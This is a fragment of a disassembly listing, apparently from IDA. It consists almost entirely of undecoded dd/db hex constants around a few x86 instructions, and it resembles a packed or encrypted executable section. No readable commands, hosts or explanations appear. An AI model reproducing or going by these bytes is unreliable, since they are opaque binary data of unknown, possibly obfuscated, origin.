		adc	bl, ds:0F7EC812Fh
		retn	0B1BDh
; ---------------------------------------------------------------------------
		dd 27B24C27h, 85321EC9h, 6D377024h, 0CE7F13DEh,	0B740AA9Dh
		dd 0A5C35EABh, 209F1FC5h, 2E244D88h, 2A587B56h,	3F67706Eh
		dd 62C5FB56h, 42895E01h, 3D6F4634h, 6D3709D8h, 0E1369D30h
		dd 1C587B53h, 6D37CCD9h, 3DB20D30h, 5B14018Eh, 9934033Eh
		dd 0FD68A24Dh, 44129BCFh, 6BDF02C9h, 0B5378330h, 4881DABEh
		dd 93BC8646h, 0BF7FB6Fh, 627F1589h, 0D0B4E38Fh,	68CE3FF9h
		dd 0EE3E7230h, 9425368Dh, 7443C135h, 0ADBCB360h, 6D330A88h
		dd 84B2B130h, 0E032E518h, 96C48AADh, 36E4F835h,	0D88A0068h
		dd 6D323822h, 3E67F744h, 6D330A88h, 84B2B130h, 0E032E518h
		dd 96C77DADh, 36E4F835h, 3E37E968h, 6D37C2D8h, 0AE6CC030h
		dd 496BF96Bh, 4973B934h, 6D370B34h, 0AE644D30h,	0F772B90Ch
		dd 7E10856h, 6EDF9430h,	4D37E030h, 0E46AB36Dh, 0EC331C5Ch
		dd 79333874h, 28370E30h, 0BFBC465h, 43D551B1h, 0ADBC0FBAh
		dd 8564E05Ah, 6D377033h, 36F46310h, 691340B9h, 69134AB1h
		dd 6D370728h, 16F4D073h, 0AC391DD7h, 0EBE45E56h, 5DF8F156h
		dd 3FAAB55Dh, 6232E2C9h, 6D370AB7h, 528D6130h, 6D386A25h
		dd 65EEC130h, 0E0E9A3C6h, 0E5766786h, 0BB5A4A31h, 0B8B291D3h
		dd 732F0D5h, 6EDF5130h,	4D378330h, 0E469026Eh, 0EC33C444h
		dd 76335474h, 2B373830h, 1887DF66h, 6FFA6D7Fh, 9EBD50DDh
		dd 6D5D53CFh, 6D342960h, 3517E030h, 29BE28F3h, 29B63C14h
		dd 6D201814h, 3D770E30h, 940B41F3h, 62F7881Eh, 6D37BEB4h
		dd 3F378A30h, 6D3773D8h, 0AE6D1830h, 4963956Ah,	49738F34h
		dd 6D371134h, 0AE65C130h, 3A15EA88h, 0F0BABEC5h, 68CE3ED8h
		dd 6D32B33Fh, 2B881C30h, 0D72B6E08h, 3D8B6B0Ch,	6D378088h
		dd 62B8CE30h, 8437E030h, 6D37703Ah, 29D1622h, 79F644E3h
		dd 8EC80162h, 8567075Ah, 6D378333h, 35F49910h, 6913A4B9h
		dd 691334B1h, 6D37382Ch, 1CF44C70h, 0B642FA4Bh,	51F3B99Dh
		dd 0BE53C3Fh, 0B6FB27B1h, 946D7DBDh, 6D5D75CEh,	6D34D062h
		dd 37171C30h, 39BE54F3h, 29B60314h, 6D2B8714h, 3F75C130h
		dd 0E98ADBF3h, 4035FDE2h, 0E6513BBDh, 0B8B291CAh, 0ED32F0D5h
		dd 0BDC84BC1h, 8562835Ah, 6D37C133h, 30F4BD10h,	69131CB9h
		dd 69137CB1h, 6D371C2Dh, 50F45B75h, 0E6AAC086h,	41E7599Ah
		dd 9F88CE15h, 0E938203Bh, 6D377007h, 6D32B53Fh,	0EC511C30h
		dd 0E03C7EE9h, 9479EFADh, 0BBD90335h, 6D37C088h, 6D3F0830h
		dd 821C7030h, 2B7A24Bh,	65DEC0F9h, 8F370E30h, 8E5F08CCh
		dd 34A1701Ah, 0E0CE22CFh, 93CEBFADh, 38371A35h,	6D373BD8h
		dd 0AE6A3C30h, 495B876Dh, 49738634h, 6D379A34h,	0AE628430h
		dd 0E7978A61h, 3D57B9EDh, 946C1582h, 0B8B29151h, 0E632F0D5h
		dd 0ECE7F8FFh, 9AD63EC1h, 62F7CA06h, 6D3785B4h,	3D371A30h
		dd 6D373BD8h, 0AE6F3C30h, 49738768h, 49738634h,	6D379534h
		dd 0AE678130h, 0BB38B03h, 0E00E398Fh, 9479D0ADh, 6D38F535h
		dd 7F530E30h, 4756FA27h, 0ADDB2049h, 94472B58h,	6D34580Ah
		dd 92CF7030h, 3D3752D3h, 6D371FD8h, 0AE6F2E30h,	49738E68h
		dd 49730234h, 6D37D834h, 0AE67A030h, 423B47B7h,	774167Ch
		dd 6EDF4A30h, 4D370E30h, 0E469C46Eh, 0EC33A744h, 7733E574h
		dd 2B37E030h, 28DFB366h, 0C0A95034h, 6D23F573h,	99B30E30h
		dd 0D8F08FCh, 74839B91h, 46C3A06Fh, 0F639363Eh,	0D0BA6D54h
		dd 68C9C178h, 90E691BDh, 108F0BCEh, 5EBD4C6Ch, 94033EB5h
		dd 0ACF8EA35h, 6D7DBDD9h, 5D75CE94h, 34D0626Dh,	171C306Dh
		dd 0BE54F337h, 0B6031439h, 0E9831429h, 8BA4F305h, 12E8C0h
		dd 76570000h, 0F458B092h, 3AC88370h, 0A32A73B4h, 0D6022C57h
		dd 7E9h, 0CBE78000h, 0FD3894BDh, 0FF98B59h, 68Fh, 800F00h
		dd 8B000000h, 0D18B66C3h, 0CA81C08Bh, 556C0086h, 31C9BD83h
		dd 750005F9h, 0B5BD8309h, 5F912h, 53501974h, 7AB8C08Bh
		dd 89000004h, 0F915DD85h, 0EB9D8D05h, 0FF05FBF3h, 83585BD3h
		dd 0F912B5BDh, 17740005h, 7AB85350h, 89000004h,	0F915DD85h
		dd 8C9D8D05h, 0FF05FBF0h, 0E9585BD3h, 7, 410557B2h, 0FA0A5EEh
		dd 589h, 0FCB66000h, 0C08B61F5h, 0FF8E8D8Dh, 6EB405FEh
		dd 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 816C66C3h, 0F0C4DEC7h, 918D0133h
		dd 0C705F926h, 0F926C185h, 634005h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F7A4EC67h
		dd 0F2DD9D39h, 0C9BD8900h, 0C705F91Eh, 0F900FD85h, 5, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 62774E95h, 95B10D9h,	69B5FFFCh, 6A05F92Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FA8C351h, 8589DABFh, 5F9346Dh, 20D595FFh, 6A05F9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6735B3C3h, 8D8977F9h, 5F9205Dh, 9333BB66h, 95FF006Ah
		dd 5F91AEDh, 4AEBC08Bh,	0D8D781C5h, 78EE2AE4h, 0C734EF1Eh
		dd 9E139BBBh, 0AEC94166h, 0BCBFB4C6h, 6E3DFF93h, 0A4A0849Bh
		dd 0EBB412DBh, 29B19D05h, 0F3674F39h, 679A75Dh,	4FB07F47h
		dd 0A8019E74h, 69C788Ch, 3A71F74Ch, 5E790F13h, 30E6D155h
		dd 1FE9B79Ah, 1B000000h, 2AFC99h, 6 dup(0)
		dd 1AE90000h, 68000011h, 5FF0229h, 0FB841CE9h, 39468FFh
		dd 12E905FFh, 68FFFB84h, 5FF0643h, 0FB8408E9h, 78C68FFh
		dd 0FEE905FFh, 68FFFB83h, 5FF0BA9h, 0FB83F4E9h,	0D8868FFh
		dd 0EAE905FFh, 68FFFB83h, 5FF0F15h, 0FB83E0E9h,	0C03FDAFFh
		dd 37BEF63Bh, 0BE37DD24h, 34C3F439h, 0BD40DA27h, 7506C13Ah
		dd 58A5B243h, 73BA3DBCh, 5BA2B53Ch, 41BC3FB6h, 2E874DDh
		dd 0A3549F20h, 0DB882EC3h, 12D1BC39h, 0B407DCCDh, 6F126D0h
		dd 0D421CF14h, 862B9607h, 0CDC035DDh, 0B94EC916h, 0D21FCF84h
		dd 57C7FCD7h, 0B20D7086h, 0BCFF7B2Fh, 0EE9FA62h, 0A68612DFh
		dd 5B2C0DCAh, 8B9CA0CDh, 0AA23D206h, 0D7CA2EE9h, 570058D6h
		dd 9F26CDCDh, 0DC3D7A79h, 9F26CD7Ch, 5283087Ch,	0AE692AA3h
		dd 0DB3006D1h, 12D1BC39h, 0CD3D55AFh, 0F4C76579h, 7BD9C1FAh
		dd 855282h, 9BF00000h, 21595C77h, 8718C9B7h, 4592513Ch
		dd 25F2135Bh, 0C4590B8Bh, 1A1724F7h, 1EB71FFFh,	9ADF5C82h
		dd 0E5D726CFh, 0E991E92Eh, 0C2EF70A4h, 26FDF033h, 4E1B78D1h
		dd 68B9CA0h, 0F0A326D1h, 0D7D2D12Bh, 0E9E08657h, 0AAB08622h
		dd 0F7C431E3h, 2616B616h, 0CE23CB9Fh, 0AADEADBh, 72DECC63h
		dd 92FBFA1Bh, 9FD08BF6h, 978D4AB9h, 827B9D5Eh, 4C501D3Eh
		dd 0D69ED3E0h, 2604E37Dh, 5BA85B9Fh, 1056FA0h, 26850000h
		dd 2B8306F1h, 29E2AD3h,	4B469ADFh, 4117C190h, 0DF020C98h
		dd 49AC4D9Ah, 5A198360h, 38DD24A5h, 0EA085DBDh,	74DDD00Bh
		dd 0B5C6B83Fh, 18645BBCh, 68E33826h, 0DF615C05h, 0C32CC49Ah
		dd 9ADF7839h, 958BD0A5h, 0B76D7975h, 35E2AF6Ch,	0CBE835C2h
		dd 330AC12Ch, 27A25180h, 2FC7B76Ch, 0C9922EC7h,	0C54A9ADFh
		dd 0DA1DE213h, 0A0F0CE7Fh, 3ABDB49Ch, 57590ADh,	5A92506Ch
		dd 8DE68E99h, 9ADD12F3h, 8963B86Bh, 0B95BB08Ah,	0F57AE23Ch
		dd 0E0B336BFh, 0DD12E37Dh, 0E4165B9Ah, 0E09CE11h, 0A45615BFh
		dd 0D94B8E51h, 0BEADB93Bh, 0E4F690Bh, 0DAFD0000h, 21D1201Bh
		dd 0DCFA47D4h, 26CF1E19h, 0DBFD44D7h, 0E19E1D1Ah, 0C255A852h
		dd 9D9A577Bh, 0C552A150h, 9F9C5B78h, 8D17C01Eh,	399F2000h
		dd 0F4265440h, 1FD41901h, 0B9FED5D8h, 6D87DC3Eh, 0D1064B90h
		dd 5B233426h, 0DB4FA737h, 0C2595ED3h, 31EE4742h, 0E07F61E6h
		dd 7DD64861h, 9CA01014h, 1896170Ah, 5648DA47h, 0EB084A96h
		dd 0FDC2A10Ch, 0A2758430h, 26A401C7h, 359D219Fh, 26A4009Ch
		dd 0F2C5BC9Fh, 6BA49A1Dh, 0FC827B3Ch, 11Fh, 0E8F126F0h
		dd 0F180DE82h, 94845D6Ch, 0AC199E2Ch, 0F860BA05h, 0DF45C55Fh
		dd 6964819Ah, 42C1B737h, 677447Fh, 0F1DC19BBh, 0DFBCD78Ch
		dd 4EA74F9Ah, 9ADFA5B2h, 0C233E52Ah, 3E73BAFDh,	3F6FF425h
		dd 0A75C37B2h, 6592DF5Ch, 0AA23D200h, 8B336E9h,	0A0577E29h
		dd 3F76FB63h, 995E35B8h, 3D4819C1h, 0FF9C314h, 0C479D427h
		dd 3C9CA096h, 0B85807A7h, 50038639h, 34E0318Bh,	165C1AA7h
		dd 0E023591Bh, 91E936EDh, 0B019D8FCh, 0BC1BA54Eh, 0D0C39F26h
		dd 0B843C813h, 0DDFE6079h, 4FC55E6Dh, 4426F1EEh, 5A35A0ABh
		dd 317F6099h, 8241016Dh, 0D1D02CEFh, 0DC681169h, 889ADDEAh
		dd 97EC4E89h, 499E807Dh, 8E894EAFh, 912BC42Ch, 4D9ADDEAh
		dd 1ABC8156h, 633822DBh, 0D811ADB8h, 0CE40Ch, 98679200h
		dd 5F963E83h, 965F95DCh, 5C9B3C81h, 956892DFh, 0BD4E0982h
		dd 105DDA1Bh, 0BB0215E4h, 135ADD14h, 890417DEh,	130CC25h
		dd 0FBAC9F20h, 1F42601h, 75154819h, 0B2A151Bh, 0D1064BD0h
		dd 262F1126h, 0CF1406F1h, 9607D421h, 0F6F862Bh,	995567EEh
		dd 0DCA7B54h, 3ECFB00Ah, 3AA4F20Bh, 65DC6FACh, 0DA82DA44h
		dd 0DFD8E781h, 0BE29689Ah, 0B2625E7h, 4425F2B1h, 9CA0E8D3h
		dd 5D983ED3h, 8864B76Ch, 0D0F18BE4h, 0D6029F26h, 0BEDA627h
		dd 6FE2CB18h, 59A8B342h, 0EB0AA7BCh, 0A0392102h, 9F26D004h
		dd 8BFEC1C0h, 9632CB33h, 4E9F26D0h, 0F692EB53h,	6E9F26D0h
		dd 110568B3h, 0A60AA2F3h, 0BE038671h, 82ECDD18h, 0FD0B3CFFh
		dd 0FC88F189h, 680CA2F3h, 46116EA9h, 69FA1B70h,	6241AC49h
		dd 0A4772C9Dh, 852B38DDh, 59A67D70h, 9456C01h, 0A2F3D470h
		dd 4E91900Ch, 0C42C8E89h, 0A2F3912Bh, 81564D0Ch, 0A2C217BCh
		dd 36B67089h, 0A0E5558Ah, 46378473h, 0A2D75EE7h, 7F04680Ch
		dd 0D72AA352h, 12D1BC39h, 0A2350ACDh, 99B3ABCCh, 0AE1FD6FBh
		dd 70A40CF5h, 0C5F23F7Ch, 0E76D3914h, 0A75C60C2h, 39A23A94h
		dd 0CA2FCAFh, 0D29F5C17h, 57D7D225h, 35FAEB86h,	0BD9D3E93h
		dd 0A29E8814h, 7A3D340Ch, 0A29E3C9Fh, 0D661D40Ch, 4F85DE13h
		dd 9415DC14h, 5FBF04BFh, 9B0EF10Ah, 96F8F3C8h, 5954A151h
		dd 0C3F03D7Ah, 615AE68Fh, 7A97F35Dh, 9D62217Bh,	87A29F2Ch
		dd 3E973F97h, 0F35D61A2h, 0B994671Ah, 0F5224750h, 0D87B2F50h
		dd 0D4B84CA7h, 1072FF90h, 18E320CDh, 85DBDB4h, 9E5F79EAh
		dd 70AB6861h, 0C8E160EBh, 0CB55FE56h, 8F6A428h,	0C49F0AE9h
		dd 7CDE19D8h, 0DB07CED3h, 4171F6F0h, 3FDA660Fh,	8F82F35Dh
		dd 6E258754h, 25B037Bh,	0F35D3F66h, 0A23B23DEh,	0F35D3F06h
		dd 15F8C3BEh, 0F35D3F88h, 0DFCA27CBh, 39B44372h, 3F801CB5h
		dd 453CF35Dh, 34F7C49Fh, 0CCAC777Eh, 5FA47A3Dh,	747641B0h
		dd 1EF2A13Bh, 65ACCh, 6DA0E000h, 0C199BC71h, 0A96E852Ch
		dd 2A0728D1h, 0AA3F9CA0h, 24FFEA0Dh, 5E4FA64Dh,	9B563285h
		dd 4B9CA144h, 9C914076h, 0F72CC9E7h, 7A387687h,	9AD5A6DAh
		dd 8455FD5Dh, 0EE00E032h, 0B49562D1h, 459674CBh, 0BC4F3A39h
		dd 61FA6485h, 406EAE6Dh, 56A95297h, 126C2781h, 5E77116Ah
		dd 34EF43E9h, 5E17B14Ah, 0D4CF43E9h, 35E22707h,	0CBE835C2h
		dd 5E52EE87h, 850A43E9h, 0A85BA84Dh, 84EFFB55h,	4F15D8D4h
		dd 0A35h, 36C130E3h, 2D2AC7E7h,	38C332E0h, 2A2DD0E9h, 37C431E3h
		dd 4E68FBB8h, 0B165ACAFh, 4B6AB744h, 0B562AFACh, 0DA34B542h
		dd 2004E781h, 2AAA5F9Fh, 8306F126h, 0DA5D983Eh,	13C36h
		dd 82354600h, 0CCDEAE48h, 133BA572h, 0E70B587Eh, 0FFC49F0Ah
		dd 0F502D58Eh, 98401A33h, 0DF02A53Fh, 9562219Ah, 7548DBB0h
		dd 1A6F4512h, 0D78CFD00h, 0DED10A04h, 49B18874h, 0ABC48B1h
		dd 69289ADFh, 0DF0A7410h, 0E631F09Ah, 8E35h, 5CE0AB00h
		dd 6283DB43h, 0A8D13C3Fh, 0C8A1760Bh, 9ADF663Fh, 0C332E227h
		dd 0EACE09CAh, 0A64BB637h, 7D9AEF4Fh, 0BC2DCCE8h, 0F2B11CE7h
		dd 43C82225h, 0C895628Fh, 2AE1CC2Bh, 18A44D13h,	0C49ADF66h
		dd 0C18A51AFh, 7D4215DCh, 0F9F403B0h, 6475E51Ah, 93A66F5Ch
		dd 1E00BB91h, 0A02CC8B5h, 0FA9369Ch, 384931EEh,	51BD0063h
		dd 0D1BCFF69h, 695FDC67h, 827BD330h, 9F567B10h,	9D27D02Eh
		dd 499F260Ah, 9942954Ah, 7, 17DC90Fh, 132B0000h, 329B5A7Eh
		dd 0C6C736DFh, 0F205D20Dh, 40DC753Bh, 59ADF02h,	81B13C71h
		dd 36EDCF64h, 0B7E891E9h, 6D9CA0E1h, 511363B6h,	0F9F4A7C1h
		dd 8EC2Bh, 807F9A00h, 777E367Bh, 7E779DE4h, 74833479h
		dd 7D809AE7h, 0B546017Ah, 1865F203h, 0B3FAFDFCh, 1B62F5FCh
		dd 81FCFFF6h, 528B41Dh,	0E3949F20h, 5D7E13F9h, 0A10CEB08h
		dd 0D78CFDC2h, 5E995C7Ah, 0E4566FC9h, 35826F9Fh, 4D8D6ED0h
		dd 3D65C5C7h, 57BB10CBh, 4016A184h, 0DEA53F98h,	44219ADFh
		dd 68B72D69h, 0DE19E6D4h, 7469135Ch, 0AAA488h, 13180000h
		dd 0F5ECB7F2h, 0DFB435C0h, 0F1024D06h, 0A60E7C10h, 58A32B7Bh
		dd 19BE69C3h, 3B1AEBDEh, 1748D5B7h, 8BE8B906h, 27BB852Fh
		dd 0D8BB9A65h, 0FBC0AB82h, 741ECC05h, 6E5D88h, 88DD0000h
		dd 634D8A69h, 9B5A7E13h, 9923CC32h, 459ADF02h, 0B146914Eh
		dd 54FC5E77h, 0DF0261FBh, 3426DD9Ah, 0DF02019Bh, 0F1C6BD9Ah
		dd 0B65DB214h, 0F42F7C3Fh, 48B14939h, 9ADF02BCh, 0D1AE6928h
		dd 35DB3006h, 0C116CDC0h, 0DF1AD968h, 0D470099Ah, 909ADF0Ah
		dd 84CC4E91h, 628874D6h, 9E0FE60Dh, 0ECC9F2C5h,	69FFFFFDh
		dd 2706ED24h, 49AB708Dh, 995C7E13h, 93A87330h, 0D07F6299h
		dd 8BFEF71Dh, 0CD10EDD8h, 528D648Ch, 78A3A88Dh,	0F05D2B5h
		dd 887477C6h, 48B561A6h, 3414C73h, 26600000h, 0C11901F4h
		dd 0DF028C18h, 7E39389Ah, 0C415C60Bh, 6E23E5DDh, 2B13D012h
		dd 0AF9E2AD3h, 4B469ADFh, 0F6721C7Ah, 8D3E34Bh,	6E852C95h
		dd 83538A7Bh, 0BD9263CDh, 36B74670h, 0DECF26CBh, 0BD02305h
		dd 9C1F4ADAh, 659841C6h, 0CC29CB92h, 25D8024Fh,	0FF1A17A4h
		dd 8632B71Fh, 0E60B7677h, 0FAC59E0Fh, 7A738233h, 6EFB5E99h
		dd 569CA0E9h, 0C116E711h, 4BC12CE7h, 4AB34BB3h,	9F26E9BEh
		dd 76126B26h, 0EE9F26E9h, 0D08BE833h, 0B44175FAh, 58001A67h
		dd 26E965FFh, 0DD22E19Fh, 14E1135Ah, 7D98592Ah,	6E53B278h
		dd 1FBD40A9h, 349F26B5h, 0E73767Dh, 0C49F0AEDh,	3CAD486Dh
		dd 5B8C4FB2h, 94D981E5h, 3B189160h, 26B546E2h, 0B803FE9Fh
		dd 0FB1DE05Bh, 27CB20FAh, 0B704DFCAh, 0D982DA34h, 9F26B54Fh
		dd 0AE516AF7h, 609B683Bh, 9316E711h, 0D621D61Bh, 30BB00D3h
		dd 0ED86F811h, 9959A6E8h, 8D17C018h, 399ADFA6h,	681B7D3Ah
		dd 5A8FE5F6h, 8798B993h, 0FF57B734h, 0DFFFCA56h, 3C7F729Ah
		dd 30E592AFh, 0D40FC4C5h, 0A5F1126Ah, 4C6A8D24h, 0A9768932h
		dd 0C30E0B6Eh, 65769CA0h, 79973307h, 0C0A9297Ch, 99583487h
		dd 9A39CE30h, 23BDA05Bh, 0FF9F2624h, 4FAE4A9Fh,	0DD32855Eh
		dd 83EC845Ah, 9F2624F9h, 0DE69AE65h, 7BD4465Fh,	9959029Eh
		dd 0A8558106h, 0DBCE2FC9h, 88D9B308h, 41228B6Ah, 7F34797Eh
		dd 0F9C631E6h, 0CC2BCC21h, 0C4B502E1h, 5CF4256Ah, 0DF3A69F3h
		dd 0E11ED59Ah, 0B9AA4716h, 33F0D91Ch, 61E06BF0h, 0F4F500B6h
		dd 56A9521Fh, 0C449B189h, 3811E60Dh, 9CA00B67h,	73517E5Fh
		dd 6E54C0DFh, 59544FA9h, 26B274D4h, 4215749Fh, 0FD176Ch
		dd 901D68Dh, 827B2ED0h,	3961h, 61E05700h, 0E97ED648h, 0E3C029CCh
		dd 105C3518h, 33449CA0h, 2F5A68B6h, 0D02CEF64h,	8556D8D1h
		dd 730725FBh, 2F0ACD8Bh, 9F2633A9h, 877D3AC9h, 827BB14Eh
		dd 111DFh, 6B13D500h, 0DF027612h, 0A84D839Ah, 978A6E25h
		dd 1DD8FD44h, 0CE0BA83Dh, 0A14901D7h, 49447F87h, 0F55C4D8Ah
		dd 4AB732C3h, 0FF04AADh, 8937F4CBh, 89F4C7C2h, 2DCA9B38h
		dd 0A70215CAh, 9ADF3E3Ah, 8174A5EAh, 0DB1AB908h, 8CEE31F2h
		dd 0DF2759E3h, 0C90E059Ah, 0E1164F84h, 71C09316h, 5F34B548h
		dd 0B23797A4h, 1DF6F706h, 5752A150h, 95AC3F7Ch,	0A720A74h
		dd 0A7F38BF9h, 3425580Bh, 9ADFFDA8h, 0BF9A5D14h, 9CA38C16h
		dd 9C59790Eh, 0C2F47D5Fh, 0AB47BA33h, 3B885B4Eh, 0A93E9688h
		dd 2102EB0Ah, 906D87D6h, 32CB338Bh, 9F240D96h, 0B988534Eh
		dd 511BDE1Fh, 36A7C03Ch, 4CFF1B3h, 5A7D0000h, 0A151A09Bh
		dd 5C7AC754h, 0A64F9E99h, 5B7DC457h, 611E9D9Ah,	42D528D2h
		dd 1D1AD7FBh, 45D221D0h, 1F1CDBF8h, 0D97409Eh, 0B99F2009h
		dd 0F426D4C0h, 20D41901h, 6964913Fh, 9F7475AAh,	0EA7FDF5Ch
		dd 0E8BB2ED1h, 0A9A94E13h, 0DF02B450h, 0AE71309Ah, 0F126C7A9h
		dd 3AB34274h, 0DE23A659h, 0DD862C39h, 8801BE37h, 0A84F86CBh
		dd 26F4E05Bh, 0B34274F1h, 0CA27C73Ah, 4BF04DFh,	0D71ED51Ah
		dd 0D0159904h, 6AD7D221h, 678AB4Ah, 0DF02D36Dh,	43988B9Ah
		dd 648CD9FEh, 39A21C8Dh, 9ADF02AFh, 0CAA75C17h,	7DCCD30h
		dd 8ADF3FBCh, 0BA4D8A6Dh, 73F86283h, 565B23Fh, 0F9F8186Dh
		dd 2508D390h, 9CA03350h, 1FD6FB90h, 3613ECC6h, 0C7143B0Ch
		dd 42BB2EE5h, 9F26DF9Ah, 0BAB02B96h, 827B0181h,	0C460F961h
		dd 159F26E7h, 5AA711E4h, 984B3EC1h, 25D0064Bh, 32CEFA4h
		dd 2Dh,	4861E0F9h, 10147DD6h, 170A9CA0h, 1D35E227h, 261028B4h
		dd 22DD949Fh, 0C389E4D5h, 0DF9F2610h, 98E1D764h, 29827BD0h
		dd 10Ah, 6F126BFh, 8913BC14h, 359ADF02h, 0C110793Eh, 9EE3E617h
		dd 0DCAEC79h, 43CE9552h, 0DB28DB55h, 65729FF2h,	78DAE656h
		dd 7EE2677h, 0CD12CD86h, 8B488C6Dh, 58B3D8BAh, 4FF38DE6h
		dd 0B86B9ADFh, 0DC85E863h, 579ADF52h, 8EE33BBAh, 0CF4C8F66h
		dd 54FD5582h, 9ADF4BC8h, 0D8427D74h, 4B4DD780h,	0FAF99ADFh
		dd 23FCCBDh, 9DDE77E7h,	0C59CA066h, 5E38C42Dh, 0EDA49F26h
		dd 48D3CE2Ah, 35B7EB3h,	5A52E75Ah, 1EB71F99h, 9ADDAD82h
		dd 0D0EA473Ah, 130EEA2Dh, 0C134E62Bh, 7A03D436h, 5450865Ah
		dd 0EF16B24Bh, 0D3CE9ADDh, 5486CB10h, 5F1A58A1h, 0FAF3ADB8h
		dd 2F02Ah, 7C7B9E00h, 7382327Fh, 7A7B99E8h, 7887307Dh
		dd 797C9EE3h, 0B142FD7Eh, 1C61F607h, 0AFFEF9F8h, 1766F100h
		dd 7D00FBFAh, 0F2CB821h, 0DF989F20h, 1F426F5h, 0CD0AA7F6h
		dd 43676EABh, 3822DD72h, 0F5F8FDB3h, 1B8E658Ch,	5B67B48h
		dd 0DF1CF7F2h, 61E0785Ch, 2AE3AA3h, 0B6169ADFh,	0DF02831Dh
		dd 7B483B9Ah, 147DD648h, 0A9CA010h, 0F3562717h,	0C3DB1DCEh
		dd 96178255h, 9F265C36h, 624BAA4Bh, 0B336C3EFh,	0A0D16605h
		dd 243344B8h, 0ED440CE3h, 956095DCh, 746AED42h,	827B953Bh
		dd 140CCh, 0F126E000h, 9C3E8306h, 590159h, 9ADF0264h, 0E3D621E0h
		dd 0DF1FD98Ah, 40B75C9Ah, 0FA6989DEh, 0F1B21BDAh, 13E8BB2Eh
		dd 0B51EB618h, 9ADF062Bh, 620BC15h, 0E59C9ADFh,	76BB00F3h
		dd 0D2BB9841h, 0FB05C355h, 0F5AE1FD6h, 7AF4F52Ah, 0B336BFF5h
		dd 95E605E0h, 283D082Ah, 2BE948D3h, 0DF9736D2h,	9EF3AE9Ah
		dd 0D8427D78h, 0BD477507h, 0E66283CEh, 0A4A2C8Fh, 7CDE19E6h
		dd 0A06203D4h, 3D45F1AEh, 0C8DA9F7Ah, 850A9CA0h, 7751A64Fh
		dd 0A13AA27Ch, 9F26F007h, 4C6DC4BFh, 986340A9h,	10290893h
		dd 932DC62Eh, 4B9F26F0h, 52AB8358h, 995A803Eh, 13AD46A6h
		dd 0CB9ADD00h, 0DE330BD8h, 0F961B93Ch, 0DD00C460h, 3681809Ah
		dd 0DD1459B1h, 0FBC09316h, 23CC8436h, 9ADD0099h, 11631F4Eh
		dd 9EFAAB34h, 0ABDD20E3h, 88ADB93Ch, 1639F45h, 0E6110000h
		dd 15BD0417h, 0E0165BE0h, 1ABB0215h, 0E71160DBh, 0CD8A0116h
		dd 0DE599C3Eh, 8196638Fh, 0D95E953Ch, 83985F94h, 0B14BA40Ah
		dd 2D9F200Dh, 0F426807Ch, 7921A9E3h, 883B1C05h,	0DC892E73h
		dd 85CCBD34h, 6C27A253h, 0F1126CB7h, 0CFAE5382h, 9F9C5F16h
		dd 28F213B5h, 0E9D9DA66h, 16BB8255h, 0B3925FC1h, 0A25D26D3h
		dd 633F20B8h, 81AEAFC8h, 0EA039D80h, 0C8BB9ADFh, 0DF248AF3h
		dd 10C3C633h, 145186CBh, 7B056EE2h, 0E39ADFEAh,	4E30F330h
		dd 0EFDA1BB9h, 3CB95D34h, 0C2459251h, 597B1068h, 0EA27C19Ch
		dd 3F9F9ADFh, 0DFEA0A96h, 4BFB29Ah, 0CD1845A1h,	0F9BE6F70h
		dd 44364FEEh, 0D64E2A33h, 0BB7073h, 0CA09B51Eh,	7A799CDEh
		dd 32A54BA0h, 737D7F93h, 0A572AD27h, 0CD28CD34h, 82CE034Ah
		dd 21CD4FD9h, 0A9FCF79Fh, 4A78AEB8h
		dd 0D0B906C6h, 25888D6Eh, 5152CD78h, 0F5F490E9h, 0B1709F21h
		dd 6DCF0366h, 64FFEE25h, 73DF14D7h, 227D7E0Ah, 0F82BE6B0h
		dd 0FEF91E63h, 3728C71Ch, 0B2715C99h, 0D23FAA6Dh, 9BF9B829h
		dd 9A749417h, 59186465h, 6EF708DEh, 0EE5092CAh,	0A1561BE0h
		dd 0E5E80FC4h, 1766F12Eh, 0CE23FBFAh, 6DDD027h,	121CC8B1h
		dd 96000000h, 67FEF213h, 0DF807B0h, 7B9AAC12h, 5F74477Ch
		dd 4F32675h, 5C9B3889h,	2F12071h, 5F9E3A87h, 4F1236Eh
		dd 5F9E3889h, 3F2236Eh,	5C99378Ah, 1F02071h, 4968F688h
		dd 89000062h, 9868240Ch, 89000012h, 6068242Ch, 89000063h
		dd 6DBD243Ch, 0F728E062h, 0C1D5F7D5h, 0B85007EDh, 5AD3F88h
		dd 5458C501h, 83243C8Bh, 0BB5304C4h, 8,	8155FB01h, 7F0A2434h
		dd 38F7E1Eh, 7F0A3381h,	8B5B7E1Eh, 8956243Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 242C8B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 7313E95Ch, 0E71CFFFBh, 502408E7h, 109DB8C7h
		dd 0C50305FFh, 0D4F9E0FFh, 6AEE6047h, 0E4D1041h, 2E2E59F5h
		dd 101310AEh, 31A36B02h, 0C4E4464h, 0B6D540F1h,	0CA52614Bh
		dd 69862FBAh, 0D3D82C4Dh, 0EC2D5BBAh, 3B9B16DBh, 775D70D0h
		dd 0AF9F0792h, 8C3A7CF0h, 16B15A90h, 21E93F7Ch,	0DC000000h
		dd 5C33FDh, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CCF50
; ---------------------------------------------------------------------------
		db 0F4h, 0CDh, 44h
		dd 769935A0h, 42C127CEh, 778E3B9Ah, 4DBA22C5h, 57047D97h
		dd 85709473h, 5580A467h, 86719376h, 5280A469h, 750376A5h
		dd 0CB802397h, 0AA638C2Dh, 54798623h, 0D16534B9h, 1530BA22h
		dd 0E792C1F1h, 642995B0h, 0FAEF55B7h, 9379A069h, 807E7D41h
		dd 0E46FAA73h, 29964399h, 6BC56916h, 7F8A31CEh,	0C27BE92Dh
		dd 0A747773Bh, 0E576A748h, 29967794h, 0C224E10Ah, 9E890CC5h
		dd 3E3FDC41h, 0BB299677h, 0E1DE03CEh, 0D1880DF8h, 0FA05A43Dh
		dd 0D12036D3h, 3ECFF0EDh, 7CC64EF3h, 7774D97Dh,	374E2FECh
		dd 0DECB2996h, 0FDEA0313h, 0C2A528DBh, 5DFDF01Dh, 77FEA0AEh
